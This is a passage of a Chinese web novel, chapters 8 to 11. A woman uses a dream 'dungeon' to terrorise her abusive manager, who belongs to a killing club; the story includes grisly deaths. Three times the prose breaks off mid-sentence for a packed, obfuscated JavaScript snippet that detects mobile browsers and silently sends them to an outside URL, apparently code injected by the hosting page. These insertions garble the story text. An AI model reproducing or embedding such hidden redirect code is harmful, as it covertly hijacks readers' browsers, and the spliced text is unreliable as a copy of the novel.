也正是剧烈的痛感让他难以维持对周遭环境的关注,所以他压根没有发现—— 自从他随便找了个位置坐下来之后,原本看似在认真办公的员工们停下了手里的工作,又一次齐刷刷扭头看向了他。 “你违规了……” “违规了……” “违规了……” “叫什么叫?叫魂吗?!” 刚想趴下来歇一会儿的高俊杰不得不坐直了身子,为自己叫屈。 “我又哪里违规了?工作间员工流动快,大家都没有固定工位的……呃,这个工位上目前没人,也没有放东西,我凭什么不能坐这里?” 在他的设想中,自己应该是理直气壮地大声质问。 然而事实上,看着周围一张张模糊不清的脸转向他的方向,他的声音越来越小,最后细若蚊蚋。 刚才被冻伤的肩膀又开始作痛,非常嚣张地昭示着自己的存在感。 他注意到在阴影中不断穿梭的那些黑影也停下来了,仿佛随时准备朝自己的方向扑过来。 高俊杰的额头上冒出了冷汗。 他无比清晰地意识到,自己的生死存亡就看这一下了。 就他现在的身体状态,一旦在被那些见鬼的黑影挨上一下,恐怕真的要玩完了。 按理来说,当他的身体受到伤害并且没有关闭感应的时候,植入体内的芯片会根据伤情判定给附近的治安局和父亲那边发送警报。 但他都已经痛了这么久了,依旧没有任何人来找他,所以他对于自己能获救已经不抱什么希望了。 更何况…… 高俊杰用眼角的余光瞟了一眼落地窗外一片乌漆抹黑的景象,心嘎嘣一下就死了。 他自己都不确定自己现在正待在什么鬼地方,别人就算发现他失踪了想来救他,能找得着吗?! 考虑到救援还不知道什么时候能来,为了自己的小命着想,他试图进行一番最后的挣扎。 他撑着麻木的半边身体,环顾四周,总算是找到了有用的线索—— 所有坐了人的工位上,光屏都是完全展开的,还能看到上面有一行行模糊不清的代码流过。 平时都不用正经干活的高组长恍然大悟。 既然那个古怪的声音让他在这里加班,那他现在是不是该开始工作了? 他连忙哆哆嗦嗦地打开了光屏,试图开始加载任务。 他们这一组做的是后端审核,平时的工作内容就是将经过AI一轮审核的低端产品代码再进行一轮人工审核。 虽然平时几乎没什么正经工作过,但作为名义上管理本组的组长,他自然不可能连工作内容都不了解。 但是…… 看着屏幕上一行行仅仅停留10秒就飞速消失的代码,高俊杰呆若木鸡。 10秒之内必须完成一条任务。 这是他在当上组长之后定过的堪称蛮不讲理的规矩之一。 当初刚宣布这条规矩的时候,组里的反应比他要求上班打卡时间提前10分钟要大多了。 面对小心翼翼提出意见的组员,他总是表现得很不耐烦。 “这点小事都做不到还好意思待在我们公司?” “本来做的就是简单的流水线审核工作,要是连效率都提不上来的话,公司养着你们是吃白饭的吗?” 他理所当然地训斥组员的时候从来没有想过,十秒为什么过得这么快啊?简直就是转瞬即逝,他连一条代码都没看完,更别提进行标注了! 当一条条代码在他面前飞速流逝,工作进度是一点都没推动,周围其他员工看着他的目光越来越森寒的时候,高俊杰终于崩溃了。 他第1次开始后悔10秒一条的离谱规定—— 在自己即将因为未完成任务而被“公司”当做没用的垃圾处理掉之前。 8. 第8只社畜 关于叶溟副本中的公司会如何处理无法完成任务量的员工,她只能微笑表示,对方的结局显然不会比一摊庞勇更好。 她可是牢记这老登曾经的谆谆教诲,比如“离了公司你什么都不是”,再比如“没用的员工对公司来说就是注定扫地出门的垃圾”。 于是无法完成他自己曾经定下的任务量的失格员工高俊杰,最后的下场自然是被公司当做垃圾一样处理了。 两个看不清脸的员工将他扭送至巨大的垃圾分解炉—— 与几十年前曾流行过的垃圾熔炉焚烧法不同,现在比较流行将所有没有回收价值还有害的垃圾直接丢进分解炉里,分分钟将无用的垃圾分解成或许有用的分子。 只不过启动分解炉需要庞大的算法支撑和特定能源消耗,为了节省人力物力财力,还是有很多企业会偷偷摸摸将理论上需要分解的有害垃圾倾倒在贫民窟的垃圾场就是了。 帕林科技财大气粗,又掌控了能够启动分解炉的特定矿产资源,这才会在每一个分部都设置一个垃圾分解炉。 当然,这个分解炉还是第1次被投入活人……大概。 伴随着人体沉重的打击声和毛骨悚然的喀喇声,又在数十秒之后声音渐消。 叶溟聆听这悦耳的声音,满意地听到了总是迟一步播报的恐惧值到账提示。 【恐惧值+700,已达单人单日上限。】 明明死亡时的惨烈程度并不比庞勇低,但是获得的恐惧值却比他少100吗? 叶溟稍微有点惊讶,转念一想,怀疑是高俊杰嘎嘣一下死得太快了,下次可以尝试折磨久一点再死。 就在她开始愉悦地计划明天晚上要设计什么更有趣的死法的时候,总是呆板得毫无存在感的02居然又播报了新东西。 【累计恐惧值突破2000,已解锁新模块-npc设计。】 叶溟本来在两个玩具接连退场之后有些兴致缺缺,正想着要不要想点办法提前脱离梦境,听到解锁的新模块名称之后,立刻又来了兴致。 “意思就是我可以设计能通过图灵测试的npc了吗?” 02:“……?” 图灵测试都是哪个时代的老古董了? 区区30%算什么?以它超前的技术,就算制造出活人感逼近100%的npc也没问题好吗? 02总感觉也不知道是不是自己第一天苏醒的时间有点晚了,它似乎给审判者大人留下了很不好的印象,导致自己的能力总是遭到质疑。 它也没有为自己辩解,只是默默发力。 在叶溟新奇的注视下,一个身穿纯白燕尾服,二次元里走出来的银发少年凭空出现在已经空无一人的副本场景中。 明明叶溟此刻没有形体,少年却抬起头,精准捕捉到了她的视线,冲她低头,行了一个优雅的侍者礼。 “乐意为您效劳,女士。” 长相精致的美少年眉目含情,嘴角上挑,看起来非常灵动。 然而叶溟确陷入沉思,暂且没有开口的意思。 原本是想在审判者大人面前炫一波技的02逐渐从自信到忐忑。 【……您觉得怎么样?】 叶溟在自己的梦里就主打一个返璞归真,实话实说,丝毫不用像在现实里一样担心会得罪人。 “你这里出品的npc都这样吗?长得太好看了,用在副本里就一点恐怖效果都没有了。” 论效果,还不如她手搓出来的那几个只会做出简单神经反应的人形立牌呢。 虽然只会做出提前预设好的简单动作,但放在副本里还有点恐怖谷效应。 要是以后副本里都用上这种美型npc,叶溟担心恐怖气氛一点都没有,还把人美到了。 听完她的顾虑,02:“……” 【……我只是做个示范。您可以在npc设计模块中随意设定性格外形。】 叶溟这才满意,脑子里顿时冒出了她之前一直很想用在加班夜惊魂的boss“经理”身上的瘦长鬼影设定。 她本来还有点苦恼,自己虽然能手搓伪人,但是却很难让伪人做出更多更细致的反应。 第1次见也许能把人唬到,但是后面见多了也许就会意识到,那些人影本质上只是提前设定好的机器程序,呆板僵硬,一点也不恐怖。 如果能让副本中的npc做出更多基于自己的性格设定而衍生出来的行为,那么副本就会变得更加真实,营造出来的恐怖氛围也能再上个档次。 而且,更重要的是—— 有了活的npc,像什么新手引导开场指路包括一些强制环节(把人摁住跪下)……通通都不用她自己亲自下场了! 叶溟表示她只想看戏。 如果看戏的人自己掺和过多的话,就会不知不觉变成戏中人了——她可没兴趣劳心费神给梦里的npc表演。 今天的叶溟心满意足地醒过来了。 抬手掐断即将响起的闹钟时,她还忍不住蹭了蹭柔软到跟木板床格格不入的枕头。 以往只是被她视为维持生命必须手段的睡眠,不知不觉中竟然成了她一天中最期待的事情。 真期待今天晚上继续在梦里打爆高组长的狗头啊。 这次用上了全新的npc模组,他肯定会露出更有趣的表情吧? 叶溟嘴角微翘,用勺子搅动着一锅将蔬菜营养剂和最便宜的合成肉混合在一起的糊状混合物,这就是她一天的生命体征维持餐了。 她勺起一勺,倒在盘子里当做今天的早餐,剩下的则装进盒子里,当成带去公司的午饭。 她又换了把小勺子,从盘子里挖起一勺糊状物,面不改色地送入自己的口中—— 啪嗒。 叉子被重重拍在了银质餐盘上,糖心蛋的流心都溢了出来。 不管是在公司属下面前还是在家人面前都拥有说一不二的威严的高父紧皱着眉,目光不善地看向自己唯一的儿子。 “你今天早上到底是怎么了?毛手毛脚的。” 研磨机不受任何人的干扰,依旧在嗡嗡的工作着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482689|201840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 很快,细细的咖啡粉将会被运送到另一台机器中,被标准流程冲泡为完美的咖啡,倾倒而下。 然而,听着每天早晨再熟悉不过的研磨机工作的声音,高俊杰却忍不住浑身发抖,眼中不知不觉布满了血丝。 “我……对不起,父亲。”他吞了吞口水,狼狈低头。 根据他对高父的了解,如果他说自己是因为昨天晚上做了个被日地一声打成分子的噩梦,所以今天早上听到研磨机工作的声音被吓到了…… 那父亲对自己这个儿子的不满恐怕又要更上一层楼了。 听了他唯唯诺诺而且还不算是回答的回答,高父眉间的法令纹变得更深了。 “算了,先不说这个——昨天晚上从你账户里划走的10万联邦币是干什么去了?” 高俊杰账户里的任何大额收支都会给他发送提示。 虽然10万对他而言只是一笔小数目,但他并不认为自己蠢笨的儿子有资格随意支配这样一笔数额。 他收到信息之后就查过这笔支出了,可惜没查到交易方。 这说明应该不是什么正经的交易,搞不好是在黑市那样的地方——也有可能是被人骗了对方火速销户了。 原本还在安慰自己昨晚只是做了一场噩梦的高俊杰猛地抬头,连椅脚都发出了刺耳的后撤声。 “什么?!” 他立刻打开光脑,查看自己的账户,面色一瞬间变得煞白。 居然真的少了10万! 而且交易时间……他虽然不太记得昨天在那个噩梦中自己具体是什么时候打卡缴费的,但是这个交易时间大概也能对得上! 他呆愣愣地坐在椅子上,恍惚间居然有点分不清噩梦和现实的边界。 难道,昨天晚上的那些事情并不是他在做噩梦,而是真实发生过的吗? 见高俊杰面色煞白又一直不说话,高父摇了摇头,猜测他应该是去了黑市之类进行违法交易的地方,结果被人诈骗了。 为了在公司里避嫌,他跟儿子是前后分开坐车去上班的。 望着高俊杰匆匆离开的背影,他叹了口气。 “没有一点用处的东西。要不是我只有这一个亲生的孩子……” 一直沉默坐在旁边,从不对这对父子的任何行为发表意见的妻子林鸿浅饮现磨的咖啡。 “现在体外生育的技术越来越发达了。你多花点钱,让孕育中心给你再造一个亲生的孩子,多编辑点优秀基因不就行了。” 她没提自己亲自生一个。毕竟没有人比她更清楚,这老东西要是还行早生了。 然而高父只是冷冷地看了她一眼。 “所有的孕育中心都被康佳垄断了。我身为帕林的员工,怎么可能会使用康佳的东西?” “……”说起来,她认识的康佳员工好像也都普遍不怎么使用帕林科技出品的义体。 作为摩拉市如同摆设般的政府中的摆设公务员,林鸿对这些掌控城市命脉的大财阀之间奇奇怪怪的较劲表示不理解,但尊重。 9. 第9只社畜 虽然人到了公司,但高俊杰一直都有些精神恍惚,甚至连每日必打卡为难叶溟的任务都没心情做了。 他早上都没心情守在打卡机旁边,为难每一个签到的员工了,还特意挑了一个离打卡机远远的位置。 即使如此,每次听到那声滴响起的时候,他还是会感受到昨晚的恐惧正在复苏。 他疯狂摇头,试图将昨晚的幻影全部抛之脑后,却在睁眼时看到手底下的组员都用古怪的眼神看着他。 明知道他们是奇怪自己今天骤变的态度,但是高俊杰却还是呼吸一窒,恍惚间仿佛又看到了无数看不清脸的员工齐刷刷扭头看向他…… 于是工作间里的所有人都看到,他们平时嚣张刻薄的组长突然面色惨白,踉跄后退两步,差点一屁股坐在地上。 趁着12点午休吃饭的时间,跟叶溟的关系不错同事安娜忍不住抱着饭盒过去找她一起八卦。 “叶,组长今天看起来也太不对劲了,是昨天晚上没睡好吗?” 嘴里说着看似关切的话语,金发洋妞的眼里却满是幸灾乐祸。 叶溟当然不知道高俊杰到底经历了什么,但并不妨碍看到上司一副倒霉相,她的心情很好。 “不知道,反正托高组长的福,我睡得挺好的。” 安娜眼中的海蓝涌现一丝惊讶,似乎没料到叶溟会突然变得这么圆滑,连私底下聊天都猛拍组长的马屁……虽然也有可能是一种阴阳怪气。 只有叶溟自己知道,她说的是大实话。 真是多亏了昨晚梦里高组长的献身演出,她才做了一个那么棒的美梦。 为了感谢他的付出,今晚该用什么方法折腾……啊不,招待他才好呢? 叶溟面上看起来依旧是那副懒懒懒散,仿佛对什么都没有兴趣,精力全被工作吸干了的社畜样。 但安娜却总忍不住盯着她看,总感觉在一片死水的平静外表之下,似乎有某种意料之外的东西正在复苏。 除了安娜之外,没人关心一个小小的底层员工这点肉眼不可见的微妙变化。 办公间里的所有人都忙着完成自己的工作,而唯一有闲情每天盯着叶溟找错出的高俊杰,如今也自顾不暇。 一开始他还浑浑噩噩沉浸在昨晚的恐惧中。 而随着时间慢慢推移,过了中午之后,他忽然一下子清醒过来,惊慌地意识到继续这样下去的话,很快又要到晚上了—— 他有种强烈的预感,“那个东西”肯定没有放过他! 要是今天晚上再让他经历一遭该怎么办? 回想起直到现在都没有消减的那股恐惧滋味,他狠狠打了个哆嗦,立刻开始着手调查此事,寄望于能够赶紧找出可能存在的罪魁祸首。 复仇什么的先另说,至少得保证他以后不会再受到这种折磨。 他立刻就找了认识的黑客,希望能先从调查他的账户里不翼而飞的那10万入手,也许就能顺藤摸瓜找出罪魁祸首。 他焦虑地等了几个小时,然而等到下午要下班的时候,黑客给他发了消息,表示他怎么查都查不到交易方,那10万就像凭空蒸发了一样 高俊杰脑子一蒙,突然意识到他爹在早上跟他说这事之前,肯定已经调查过一遍了。 要是查出了什么自然会告诉他或者直接处理,就是因为什么都没查出来,所以父亲才会怀疑他是不是在黑市做了交易或者被诈骗了! 父亲都查不出来的东西,他自然更不可能查出线索。 高俊杰懊恼地意识到自己浪费了一个白天的时间,在极度的不安中下了班。 和那些底层流水线员工不同,他自然是在下午五点半就准时打卡下班,可以回家了。 在离开公司之前,他脑子里忽然想起了昨天庞勇对自己说的那些胡言乱语,忍不住扭头看了一眼叶溟的工位。 现在是默认的可以准备吃晚饭的时间了,其他员工都三三两两准备加热盒饭或者去食堂,而这个穷鬼却依旧坐在工位上不动。 光屏散发出来的光线打在她的脸上,明明应该是偏暖色的光线,却莫名有一种说不出的冷意。 高俊杰突然心脏重重一跳。 “是她搞的鬼”……哈,怎么可能?! 作为公司中层领导的儿子,他确实听说过一些内幕,知道厉害的黑客能够在人类的意识上传全息端之类的平台后入侵设备,制造电子囚笼困住意识。 但是那种级别的黑客不是联邦的S级通缉犯就是为各大财阀服务的重要人才,他连见那些存在的资格都没有。 如果叶溟跟那些人哪怕只是有一点点关系,也不至于沦落到这种地步。 而且,更重要的是—— 他很确定,这个世界上没有一个黑客能够在目标的意识尚未上传到虚拟空间的时候就能创造出一个无比真实的囚笼。 他很确定,自己昨晚根本没有碰过任何能够上传意识的电子设备,今晚也绝对不会碰,但是…… 昨晚的记忆无比连贯,在真实中又带着一丝令人难以置信的虚幻,他甚至回忆不起来自己究竟是从什么时候落入捕猎者的陷阱的。 他到底是从什么时候开始“做梦”的? 周围的场景骤然变化,让他从家里到达那个古怪的公司的时候,他肯定就已经中招了。 再往前推……难道他和庞勇那废物打电话的时候就已经中招了吗? 想到这里,高俊杰打了个寒颤,因为跟现在的场景过于相似了—— 他现在就在自己的房间里联系庞勇。 不,更确切说,是庞勇那边从21点开始就一直在疯狂给他打视频发消息,但是全都被他拒接了。 直到现在,他确定家里人都睡下了,巡视了一圈之后回到只有自己一人的房间,他才终于回了一个视频。 视频另一头被一秒接通,高俊杰清了清嗓子,还没来得及说什么,就已经被对方急吼吼的声音扑了一脸。 “考核官大人,我们现在到底该怎么办啊?您现在总该相信我说的都是真的了吧?!” 高俊杰顿了顿,眯了眯眼睛。 “你怎么知道我昨天遭遇了跟你一样的事情?”他明明没有对这个家伙说过。 他心中刚升起了一点怀疑,走投无路并且面前只有这一个大腿可抱的庞勇就事无巨细把昨晚发生的事情说了一遍。 听说庞勇昨晚是眼睁睁看着他在视频里消失,然后自己也被丢回了那个诡异的场景里,高俊杰心都要死了。 目前能找到的可调查线索基本都断了,而且阅听庞勇的补充描述,再回想自己昨晚的经历,他就越觉得假如这件事并非一种超自然现象,而是幕后有人操控的话,那对方简直就是如同神明一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482690|201840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般莫测的存在。 可是,这种存在怎么会盯上他和庞勇呢? 庞勇就不用提了,根本没有任何被针对的价值。 他虽然社会地位比庞勇高一点,但不管是在公司还是俱乐部都是个无法左右任何事情的小人物啊…… “其实,我有一个想法。”庞勇的声音拉回了他的注意力。 他抬头,发现庞勇双手交叠,一副坐立不安的样子。 “在昨天的……里面,我又看到了之前被我杀死的那三个猎……学生。” 他吞了吞口水,原本还有些磕磕绊绊,这会儿语速却越来越快。 “有没有一种可能,就像那句老古话,冤有主债有头,我们所遭遇的这一切都是因为被那些东西报复了?!” 高俊杰被他荒唐的言论气笑了。 “死人怎么报复我们?而且被我杀死的那些人可没回来找过我——这种无厘头的话都说得出口,我看你是得失心疯了!” 然而庞勇已经有些魔怔了,完全没听到他在说什么,一直在喃喃自语。 “……是报仇,对,不管我推开哪扇门,他们都会出现,不肯放过我,一定是想报复我……” “你清醒点!被自己杀掉的猎物吓成这样,你也好意思申请加入杀戮俱乐部?” 庞勇终于醒神,大喊道:“我不加了,不加了!我要去治安局自首!” 高俊杰:“……?” 他怎么也没想到,就短短几句话的功夫,自己曾经看好的连环杀手就要投案自首了。 这事听起来实在是太荒谬了,以至于他都短暂忘记了对今晚的恐惧,厉声呵斥他不要乱搞事。 要是把事情闹大了,俱乐部那边一定会降下惩罚。 庞勇自己作死就算了,可别连累了他这个考核官。 俱乐部……虽然他是比庞勇找了好几年加入的老会员了,但由于杀人的业务能力不强,混了好几年也就是个普通会员,对杀戮俱乐部的了解不多。 他只知道,俱乐部隐藏极深,牵连极广,猎手和他们的猎物分布在社会的各个阶层,在某种程度上是比公司还可怕的存在。 哪怕遭遇了昨晚那样可怕的事情,高俊杰也没有勇气为此联系俱乐部的人,生怕留下办事不利的印象,哪天就被随手处置了—— 毕竟他爹的影响力也只能在公司发挥作用,俱乐部里可没人会看在他爹的面子上豁免他。 高俊杰心事重重地挂断了视频,但还是担心庞勇扭头脑子不清醒就跑去治安局把一切都捅出来了。 他咬了咬牙,爱上了自己常用的几件外接装备就往外跑。 庞勇那小子已经变成不安定因素了,他得亲自去找他一趟。 要是实在不行……就只能下手把他做掉了! 20分钟后,他打车来到了庞勇家所在的小区附近。 因为今晚有可能会动手,所以他当然不能开自己的车,也不能直接打车打到庞勇家门口,步行去他家的时候还拜托黑客删除了一小段沿途监控。 他在心里设想了很多接下来如何警告庞勇的内容和万一要动手的预演,但是伴随着他一脚踏进小区大门之后,周围的场景眨眼间就变成了熟悉的公司,他的大脑褶皱瞬间拉平了。 ……原来不管他人在哪里都能被拉进来吗?这玩意难道真缠上他了?! 10. 第10只社畜 其实高俊杰大半夜溜出门未尝没有自己的小心思。 也算是庞勇给了他一些灵感,既然他之前被拉进那个古怪的公司时,这个过程能被庞勇看到……那也就是说其他人也可以看到? 换个角度想,对方特意挑唯一的知情人庞勇打视频的时候将他拉进去,是不是意味着对方其实并不希望让更多的人知道这件事? 怀揣着这样朦朦胧胧的想法,他离开了静得吓人的家,来到了人来人往的街道上。 但他并不知道,从出门的那一刻起,他的所作所为都被那双在他看来无比邪恶的眼睛看到了。 但是和他的美好幻想不同,叶溟并不觉得在众目睽睽之下掳走他是一件很困难的事—— 拜托,她可是梦里的神!包括高俊杰本人在内,她视线可及之处的所有npc都是被他的潜意识创造出来的。 古话说的好,雷霆雨露均是恩泽,她在自己的世界想干嘛就干嘛,有什么必要顾及掳走一个npc会不会吓到其他路人npc吗? 更何况,她已经期待今天晚上的梦境很久了,迫不及待想看到高俊杰在全新升级的副本里会露出怎样的表情了。 这次,高俊杰依旧体验了一把熟悉的配方,熟悉的味道。 缠绕在自己耳畔的阴影用阴森的声音告诉他,他将在这里加班一整晚,必须遵守公司的规章制度,完成自己的工作,期间要面对一次领导视察,天亮即为结束。 大抵是已经经历过一回的缘故,这次高俊杰虽然还是有点害怕,但比上次已经好上不少。 他做足接下来再被无脸员工吓一次的准备了,在心里做好无数心理建设,一睁开眼,却被灯火通明的公司惊了一下。 和昨天晚上开局虽然同样亮着灯,却显得无比惨白刺目,一看就有鬼的灯光不同,这次充盈在公司中的光线显得非常自然。 办公间里,坐在工位上的人个个都顶着他组里的组员的面孔,每个人都对着光屏安静无声地敲着虚拟键盘,就和平时工作的时候一模一样。 办公间外,时不时就能看到有行色匆匆的员工路过,其中竟然也夹杂着几个熟面孔,恍惚间差点让高俊杰以为自己现在正处在真正的公司。 ……如果不是来到这里的方式太过特殊,以及昨天晚上的遭遇太过离奇,他可能真要以为自己莫名其妙丢失一段来公司加班的记忆了。 这种身处熟悉环境之中的感觉,给他带来了一丁点短暂的安心。 但很快,一种更深层次的焦虑和惊恐涌上心头。 明知道这里不是真正的公司,但是一切都那么熟悉,那么真实。 明知道接下来可能会出问题,但是映入眼帘的一切看起来都无比正常,让人无从判断异常会从何而来—— 这种时刻战战兢兢草木皆兵的感觉,实在是太糟糕了。 不过好歹有过一次经验了,所以恍惚归恍惚,当AI广播声响起时,高俊杰依旧麻利地赶到了打卡机旁,刷出了今日份的10万联邦币。 听到熟悉的嘀声,高俊杰面色麻木,心头在滴血。 他可不会天真到认为今天划出去的这笔钱就不会从他的账户里凭空消失了。 ……所以,拥有这种神秘莫测的手段的大人物,到底为什么会盯上他一个小虾米啊?! 老老实实打完卡缴完费之后,高俊杰又像做贼似地蹑手蹑脚挪动,找了一个离其他员工最远的空工位坐下了。 虽然这些员工现在看起来挺活人挺正常的,但他又不是傻子,经历了昨晚的恐怖遭遇,怎么可能还把他们当成现实中的那些人对待? 这些家伙指不定是什么东西,搞不好本质上和昨晚的那些无脸员工是一样的,都是怪物! 他起先虽然眼睛盯着光屏,但还会时不时分出一点注意力给其他员工,生怕对方靠近自己,再带来那种像是快被冻死了一样的伤害。 不过很快,随着。一条条代码在屏幕上加载出来,他看都要看不过来了,自然没有心思管那些员工了。 如果只是要作为人工审核判断代码的对错的话,他倒是可以胡乱全部打对。 但问题是公司本着不浪费一点人力资源的想法,员工还需要对代码进行简单的标注。 那么短短数秒的时间,一行代码他连看都看不完,就更别提什么标注了。 随着一条又一条的代码在他面前还没来得及进行任何标注就略过了,他的额头上渐渐冒出了冷汗。 再继续这样下去的话,他岂不是又要跟昨天晚上一样,因为工作做得太糟糕就被处决了?! 他全神贯注地盯着光屏,没注意到一道人影不知何时接近他的身后。 “高组长……” “啊!” 高俊杰被吓得发出了一声短促的尖叫,回过头之后看到一个面熟的组员正面色尴尬地站在自己身后。 “不好意思,好像有点吓到您了。” “……”高俊杰条件反射张口就想骂人,但是一股死亡的幻痛及时袭来,让他脸色一白,勉强管住了自己这张嘴。 “……什么事?” 同时他心里也不忘琢磨,这个不知道是什么玩意的员工喊自己高组长,也就是说他在这个公司里的身份依旧是组长? 那凭什么给他安排加班任务? 面前的组员大概是感受到了组长在生气,脸上的神色都变苦了,语气也带上了他熟悉的小心翼翼。 “我看您好像有点卡住了……”其实是组长看起来好像一点也做不来工作的高情商说法。 “要不我先给您示范一下,方便您更快上手?” 这就是要从头开始教组长怎么做他们的份内工作的意思了。 简直是倒反天罡。 不过全组员工在这位空降关系户第1次出现的时候,就知道他是个什么都不懂,专门安排过来摘果子的二世祖了。 见这名组员脸上带着自己熟悉的卑微讨好,高俊杰心里原本的忌惮恐惧也散去了不少,甚至有种回到了自己熟悉的职场的错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482691|201840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉。 他憋了半天,到底不敢直接开口提要求,只是暗示道:“这样干效率太低了,什么时候才能加完班啊?你就没有更快点的法子吗?” 好在组员依旧如现实中一样上道:“要不我帮您把您的这份任务都干了吧?” 高俊杰没想到竟然真能等到这句话,心里总算松了口气,立刻就毫不客气地甩手不干了。 不管怎么想,让别人帮他把工作干了,都比他自己突然之间提高效率要更有可行性,也轻松得多。 他觉得自己这回可没做错什么,帮他把任务干了是组员主动提出来的,这总不能怪到他头上吧? 他都当组长了,要是还得自己亲自做任务,这个组长不是白当了吗? 他把自己的工作分摊给下面的人,这叫赏识员工,是作为上级给予下面的历练,怎么能算偷懒呢? 于是高俊杰就这样理直气壮地坐在旁边的空位上,在所有人加班的时候光明正大地休息,甚至连光屏都没打开—— 反正公司配备的光屏只能用来完成工作,又连不了网,又不能干别的。 这次的时间似乎过得很快,高俊杰感觉自己就是打个盹的功夫,灯光就突然暗了下来。 周围的环境没有变得一片漆黑,但是明亮的灯光却无比昏暗,让周围人的脸都有些模糊不清了。 刚才还那么安逸,现在却情况骤变,这可把高俊杰吓了一跳。 “怎么了?发生什么事了?”他整个人都从工位上跳了起来,慌乱询问刚才还在帮自己工作的组员。 对方面无表情地看了他一眼,脸上没有了之前的卑微讨好,声音也变得僵硬呆板。 “经理要来视察了。” 【“不要让高经理失望。”】 高俊杰如同遭到了当头棒喝,下意识哆嗦了一下。 他愣了几秒才反应过来,之前那道声音似乎说过,他要在遵守公司规章制度的前提下完成加班,并且经过一轮经理视察,然后才算完成任务。 这么快就来视察了吗?明明他感觉没过多少时间。 不过,只要通过了经理视察,这场噩梦是不是就能结束了? 这么一想,高俊杰紧张中居然还夹杂着一丝期盼。 他赶紧扭头,想坐回工位上,再把光屏打开,至少摆出一个端正的态度。 然而,他回头的那一瞬间却愕然发现,这间办公间里的工位突然就少了一半以上! “我刚才坐的工位呢?”办公间外面已经传来了沉重的脚步声,并且声音越来越重,似乎在提示经理离办公间越来越近了。 高俊杰慌得手足无措,连声音都提高了不少。 然而这次没有人回答他了。 他勉强压住了心里的慌乱,仔细观察周围,这才发现目前还存在的工位上都是坐着人的。 每个工位上的光屏都还亮着,远远望去,昏暗环境中亮着的屏幕还怪显眼的。 ……就像在整个办公间里唯一站着的他一样显眼。 11. 第11只社畜 沉重的脚步声越来越近。 老实说,这脚步实在是太重了,听起来甚至不太像是人类,更像某种如今近乎绝迹的大型野兽。 高俊杰这下不只是额头渗出冷汗,浑身都开始冒汗了。 环顾四周,他再傻也该明白,如今唯一没有工位的他,绝对会成为领导视察时的眼中钉。 他带着几分怨气跑到了之前替他工作的组员身边,伸手就想把他拽起来让座。 “你这家伙……”之前是不是在故意算计我? 还没说出口的话语卡住了。 阴影中,原本脸正对着光屏的组员一点点扭头,最后扭过了180度,在理论上脖颈应该已经扭断了的情况下,面无表情地直视着他。 高俊杰一句话都说不出来了。 他现在只想尖叫。 他迅速松开手,像是远离脏东西一样连退几步。 然而,对方却主动开口了,那平板中带着些许阴森的声音一直在往他的耳朵里钻。 “你违规了。” “我没有!”身上又开始隐隐作痛,仿佛在提醒他昨晚违规之后的遭遇。 办公室紧闭的全透明大门之外,沉重的脚步声不知何时已经停歇。 高大到不似人类的阴影透过大门洒下来,昭示这鬼地方的“经理”那可怕的压迫感。 灯光不知何时已经完全熄灭了。 一片黑暗寂静的办公间里,伴随着窸窸窣窣的声音,一道道“你违规了”此起彼伏。 高俊杰踉踉跄跄地后退着。 他没有进行五感的义体改造,只有戴上外接的可视设备才能做到夜视。 如今眼前骤然陷入了一片黑暗,他几乎什么都看不清了,偏偏想象力还在不停发作,不断幻想出各种可怕的场面,让他对黑暗的恐惧几乎到达了巅峰。 手臂偶然挥到了什么冰冷的触感,他都会被吓得发出惊叫,以为自己撞上了那仿佛能够将他整个都冻结住的黑影,胳膊又传来了冻伤的感触—— 但事实上他碰到的只是冰冷的桌角。 每一张桌面的边角处都如同公司出品的义体一样,刻上了帕林科技的标志——四角星。 他刚才正是不小心撞到了四角星凸起的角,才会感觉到硌到的疼痛。 再这样极度惊恐的状态之下,他最终一屁股跌坐在地上。 有一瞬间,他感觉自己的心脏剧烈地跳动了几下,好像发出了血管爆裂的声音。 伴随着胸口如同心肌梗塞一般的凝滞感,他眼前一黑,什么都不知道了。 在一片恍惚之中,他好像隐约听见了一道惊讶中带着一丝玩味的声音。 “……居然会被吓死吗?真有意思。” 那种漫不经心,仿佛在谈论蝼蚁生死的傲慢,几乎令高俊杰浑身都开始颤抖起来。 他可太熟悉这种口吻了。 他很有自知之明,知道自己尽管因为给杀戮俱乐部献上了不少猎物,成功被吸纳为会员,但他本质上只是个偶尔喜欢欺压弱小来发泄自己在现实中的平庸的废物。 他跟俱乐部里那些真正的变态是有本质上的区别的。 但是,这道疑似主宰了他最近的离奇遭遇的声音,让人听不出任何个人特征,如同ai合成音调出来的混音…… 那种视他如草芥的感觉,就像他偶尔与那些这辈子都不想打交道的俱乐部里的变态对话时那样。 不,也许比那个更可怕。 他就在这种莫名惹上了极其恐怖存在的惊惧感中,不断下坠,下坠…… 